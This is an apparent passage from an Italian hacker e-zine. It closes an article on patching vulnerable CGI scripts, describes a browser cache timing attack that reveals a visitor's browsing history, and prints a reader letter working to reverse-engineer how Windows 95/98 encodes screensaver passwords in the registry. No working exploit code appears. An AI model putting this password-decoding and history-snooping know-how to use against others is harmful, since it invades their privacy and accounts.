Una volta effettuato lo scanning dovreste avere in mano la lista degli script vulnerabili (se ce ne sono) e in base a questi dovete regolarvi in base a quanto segue: mettiamo che sia stata reperita la presenza del file test-cgi.bat nel vs apache. Che si fa? Si consultano securityfocus e packetstorm ricercando info in merito a questo script. Proviamo su packetstorm, uhm... c'e' un advisory che fa al caso nostro, diamogli una letta. Dice che per sopprimere la vulnerabilita' bisogna aggiornare le versioni del nostro apache e ci fornisce anche il link da cui effettuare il download del file. Semplice ed efficace. In sostanza dovete effettuare la stessa operazione per qualsiasi script trovato vulnerabile nel vs server, ma se avete problemi particolari o domande vi invito a postare il tutto nel forum di mojodo (http://www.mojodo.it/forum) e proveremo ad aiutarvi in ogni modo. Resta da chiarire una cosa: perche' vi ho parlato proprio dei bug cgi?
Perche' innanzitutto sono molto ma molto frequenti da trovare, diciamo che quasi ogni host ne fa uso, ma soprattutto perche' sono davvero semplicissimi da sfruttare percio' bisogna averne riguardo. Purtroppo troppi admin non curano, anzi trascurano del tutto le vulnerabilita' nascoste dietro semplici script.
Il problema in questo caso e' che, diversamente da altri servizi, non si puo' chiudere l'accesso alla porta per risolvere il problema degli script CGI. La porta 80 deve per forza rimanere aperta (a meno che tu non voglia tagliar fuori anche il webserver) e nessun tipo di firewall (ne software o hardware) puo' prevenire gli attacchi agli script cgi.

+---(Conclusioni)

Nulla da dichiarare. Come sempre. xanthic

Nuova frontiera per lo spionaggio elettronico

The Jackal < -jackal- at libero dot it >

Se pare essere vero che, nel mondo reale, non possa esistere il cosiddetto "delitto perfetto" (peccato non si possa dire la stessa cosa per quello impunito), nel mondo virtuale una simile affermazione non puo' che far sorridere e/o sospirare gli addetti ai lavori. Interruzioni di servizi, danneggiamenti o piu' semplici violazioni di sistemi informatici da parte di delinquenti tecnologicamente avanzati (non chiamiamoli "hackers", per carita'!!) sono in continuo aumento, complici, da un lato, le palesi limitazioni intrinseche ai protocolli che si occupano della trasmissione dei dati (TCP/IP in testa), che permettono una facile contraffazione di quella che dovrebbe essere "la carta d'identita'" di ogni singolo utente collegato alla Rete (l'indirizzo IP appunto), e complici, dall'altro, le legislazioni mondiali vigenti, lontane ancora anni luce anche solo dal dare un nome alle tipologie di soggetti che affollano il Web (Hackers, Crackers, Black Hat e altri... fino al nostro italianissimo "pirati informatici" che ben si sposa con le atmosfere dei "mari della Rete" e del "navigare in Internet").

Il nuovo delitto perfetto, allora, si chiama "Timing Attack" ed e' stato ideato e reso pubblico verso la fine di Dicembre dello scorso anno dal Prof. Edward Feler e dal suo allievo Michael Schneider, entrambi dell'Università di Princeston nel New Jersey. La tecnica inventata e spiegata da questi signori e' l'ultimo ritrovato in tema di intrusione nella privacy degli utenti e permette, con una affidabilita' del 98%, di impadronirsi della traccia lasciata dai percorsi e dai siti web visitati dal navigatore-vittima.

Gli scopi che possono essere sottesi ad un simile "attacco" sono dei piu' vari e vanno dalla semplice curiosita' fino alla possibilita', per le numerose aziende che si occupano della gestione di banner pubblicitari, di ottenere delle vere e proprie istantanee sul profilo e sui gusti dell'utente, in modo da compiere quella che viene chiamata "pubblicita' mirata". Il proprietario di un sito, inoltre, tramite questo piccolo programmino scritto in Java, potra' sapere se il navigatore ha visitato di recente anche le pagine web della concorrenza.

Simili informazioni, fino a poco tempo fa, non erano accessibili se non attraverso l'utilizzo di "rilevatori" sul pc della vittima (chiamati "cookies"). Ora, invece, e' possibile ottenerle anche senza il consenso dell'utente e senza lasciare la minima traccia. Il programma, infatti, e' molto piccolo e quindi facilmente scaricabile senza evidenti rallentamenti nella navigazione e non ha bisogno neppure di essere installato o di rimanere in memoria sul computer.

La tecnica si basa sull'esistenza, in ogni pc, della cosiddetta "cache" di sistema, ovvero di una parte di memoria riservata alle pagine web visitate di recente. Questa "cache" e' capace di rendere la navigazione piu' veloce. Infatti, ogni volta che l'utente andra' ad aprire pagine web gia' visitate e presenti ancora nella memoria del sistema, queste non verranno cercate su Internet, come avviene normalmente, ma saranno richiamate da quest'area riservata. I tempi di attesa per la visualizzazione della pagine, ovviamente, saranno decisamente piu' brevi.

Il "Timing attack" agisce proprio su questo. Nel momento in cui un utente si collega al sito che vuole spiarlo, oltre alla pagina web vera e propria, verra' caricato anche questo programmino che si occupera' di chiedere al pc della vittima fino ad un massimo di venti oggetti (ad esempio loghi o immagini) dei siti sui quali si vuole effettuare la verifica. Pur non volendovi togliere il gusto di immaginare da soli il funzionamento del programma, ricordo soltanto che, tra i metodi della classe "File" di Java, ce ne sono due, "list" e "listFile", attraverso i quali si puo' ottenere la lista delle directory e dei file contenuti nella cartella di sistema specificata... il resto lo lascio alla vostra fantasia ed

abilita'. Il programma, a questo punto, misurera' il tempo di risposta alla richiesta (da qui il nome "timing attack"). Se la richiesta verra' soddisfatta immediatamente, sara' chiaro che l'oggetto e' stato caricato dalla "cache" di sistema e non e' stato cercato su Internet ... cio', quindi, vorra' dire che l'utente ha visitato quel sito di recente.

Anche nel caso in cui la vittima abbia deciso di rinunciare (o decida di rinunciarvi a seguito di questo articolo) alle funzionalita' Java del suo browser, operazione possibile anche se raramente applicata, il problema non verra' meno. La ricerca nella "cache", infatti, potra' essere affidata non piu' al programmino suddetto, ma ad una serie di comandi scritti in linguaggio HTML... sempre se ci si accontenta di una minore affidabilita' dell'attacco... "SOLO" il 94%!!! :)

Eccovi svelato allora uno dei piu' recenti "delitti perfetti" che puo' attentare la vostra tranquillita' in Rete. Proteggervi, significa rinunciare alle potenzialita' di Internet e degli stessi pc moderni (Java e il sistema di "cache") ed e' proprio su questo che il "timing attack" basa la propria forza e la sua pericolosita'.

"Sembra che ci siano poche speranze che contromisure efficaci siano sviluppate e diffuse in tempi brevi"... questa la frase che chiude la relazione dei ricercatori dell'Università di Princeston.

Rinunciare alla comodita' e alla velocita' di navigazione o alla vostra privacy, questa e' la scelta che gli "sciacalli" della Rete lasciano a voi.

The Jackal < -jackal-@libero.it >

La posta dei lettori
-=mayhem=- < mayhem at spippolatori dot org >

Da questo numero una nuova rubrica, penso mai apparsa su netrunners: la posta dei lettori. Difficilmente questa rubrica potra' apparire su tutti i numeri, tuttavia alcune mail spesso pongono quesiti che potrebbero interessare molte persone. Voglio pubblicare questa mail, non perche' apprezzi lo scopo che il mittente vuole raggiungere, ma per il metodo che ha usato, per i problemi che si e' posto. Se qualcuno di voi vuole rispondere, magari mettere me in CC, sarebbe bello: eventualmente verra' pubblicata sul prossimo numero. Ed ora vi lascio alla mail.

////

From: Newbie Revenge <newbie_revenge@katamail.com>

Cya, sono exilo (o omnitel__), sono le 22.10 e tu in chat non c6 :D !
Allora, in questa lettera t spiego due cose sull'argomento che dobbiamo approfondire.
Innanzi tutto, prima di cominciare, mi sembra giusto sottolineare che per questo progetto mi sn ispirato all'articolo di Juxwell nel newbieZ n°6 "La password dello screen saver winozzo 95/98" (+ o - il titolo è kosi...)

Introduzione
Ogni volta che scriviamo la pass dello screen saver, essa viene criptata e scritta nel registry, + precisamente in HKEY_CURRENT_USER/Control Panel/Desktop/"ScreenSave_Data". La pass viene criptata con due coppie di numeri (es. 30 38).Il criptaggio tiene conto di due valori:
1) Il simbolo o lettera che sia
2)la sua posizione all'interno della pass

Quello che cercheremo di scoprire è quale algoritmo viene utilizzato per il criptaggio e la decodifica di questo codice(BEl casino, dannata microshoft!!!).

Il nocciolo del problemaZ
Innanzi tutto di faccio un paio esempi di kome viene scritta la pass criptata nello ScreenSave_Data:

ex1°. abc -----> 30 39 41 43 33 35 00
ex2° aaa -----> 30 39 41 46 33 37 00
ex3° abab -----> 30 39 41 43 33 37 35 46 00

come puoi notare, per ogni lettera ci sono quattro numeri divisi in due coppie, ed alla fine del codice c'è una coppia di 00. Questi ultimi li escluderemo, poichè sono una costante presente in tutti i codici (chissà a che cacchio servono...booo vabbè noi li scartiamo perciò chi se ne frega ;P) Si nota anche che il valore criptato dipente ESCLUSIVAMENTE dal simbolo o lettera, e dalla sua posizione.

Ma ora passiamo a cose + complesse: prendiamo la tabellona di Jux e diamoci da fare :DD !!!
Sottolineo qui sotto i punti fondamentali del mio lavoro svolto (semmai li approfondiremo in chat LoLLL)

- Se guardo la tabella dei dati, noterai che i numeri vanno da 30 a 46 per entrambe le coppie (quindi 17 valori)
- Il n°40 non appare mai
- Ho quindi pensato di decodificare il codice da numerico a simbolico (solo le lettere ho fatto, x la madonn...:)
- nella tabella che si trova nel mio programmino, ho disposto la prima coppia sull'asse x (per orizzontale) e la seconda coppia sull'asse y.
- Ho tradotto da numerico a simbolico raggruppando i dati nella tabella seguendo un criterio, cioè li ho fatti scrivere in tabella in base alla loro posizione (lo so, non s capisce in cax, poi vedrete nel programma allegato :P)
- Ho notato che tutte le serie di dati che ho elaborato seguono un ordine di disposizione logico, (nella tabella 16*16),ma che cambia da serie a serie.
- Mi pare d ricordare però che una non segue un ordine logico, se c'hai voglia controlla :P
- Analizzando il materiale fornitoci da Jux, si può vedere che, sempre disponendo i dati al solito modo (Ora non lo dico + ! in tabella 16*16!!!), vi sono alcune caselle che contengono + dati; ma vediamo anche che questo non accade se si guarda una serie per volta (serie=num.i che decodificano la posizione, quindi due colonne numeriche nella tabella di Jux). Bèh, questo è anche logico, come farebbe se no il Pc a distinguere 2 simboli ?????
-----> Io ho fatto alcuni altri tentativi, idee partorite dalla mia mente malata(!!!!!!), ma non credo di averne ricavato qualcosa di utile, quindi semmai ve le esporrò in futuro (non vedete l'ora éééééé :D)

Proposte X la risoluzione dell'algoritmo
Ecco qua sotto alcune idee per poter dissolvere il problema
- Controllare se tra le due coppie di numeri presente in ogni serie esiste un rapporto (sono sempre chiaro, come a solito...)
ex. a (30 39) c'è un rapporto fisso tra questi numeri? (hey lord, tieni ben presente questo punto, forse ci puo' portare a qualcosa...e soprattutto tu potrai fare meglio di me, in quanto sei sicuramente + bravo di me in mate (magari dici di non essere un asso in mate?? allora non mi conosci!!!!)
- controllare ance se esiste una connessione tra il primo della serie1 col promo della serie2, poi il primo della serie2 col primo della serie3 (beh insomma avete capito no ;P)
-Ho notato dalla tabella di jux che ci sono dei buchi, delle posizioni vuote (guardate la serie1, dal simbolo " ' " al simbolo " { "x ex). Dato che jux non si è preso la briga si guardare il codice per molti simboli ascii, dovremmo farlo noi (sobb.. ;( ).Per catalogare anche i simboli mancanti, come ho detto prima, basta vedere nel registry. Se siete pigri e non volete ricercarvi il percorso che ho menzionati in questa lettera, ho una buona notizia x voi, ecco il percorso scritto in grassetto !! :D

HKEY_CURRENT_USER/Control Panel/Desktop/"ScreenSave_Data".

bene, e questo è tutto!!!
Comunque se vi si blocca il computer (magari vi scatta lo screensaver con la pass che vi siete svaniti :DD) non preoccupatevi, penso che basti riavviare in dos, digitare regedit.exe e tradurre il codice con la tabella di jux (non ve la siete stampata??? fatelo subitooo!!)

Ah, questa lettera è x lordnail, anche se l'ho scritta al plurale a mo' di articolo (chissà, magari in futuro se il progetto riesce, sta lettera andrà su una e-zine [sPeRiAmO!!!!!])

Un saluto a lordnail e speriamo di finire sto progetto!!!!!!!!!!!!!!!!!!!

by AtoMik HeAD

ps. mi sono connesso alle 9 stamattina; ora sono le 10.00 e tu, lordnail, non c 6 ancora :P

////

Con questo abbiamo finito anche questo numero. Mi scuso di nuovo per il ritardo con cui e' uscito, e vi invito a mandare altri articoli alla nostra redazione: saremo sempre felici di pubblicarli.
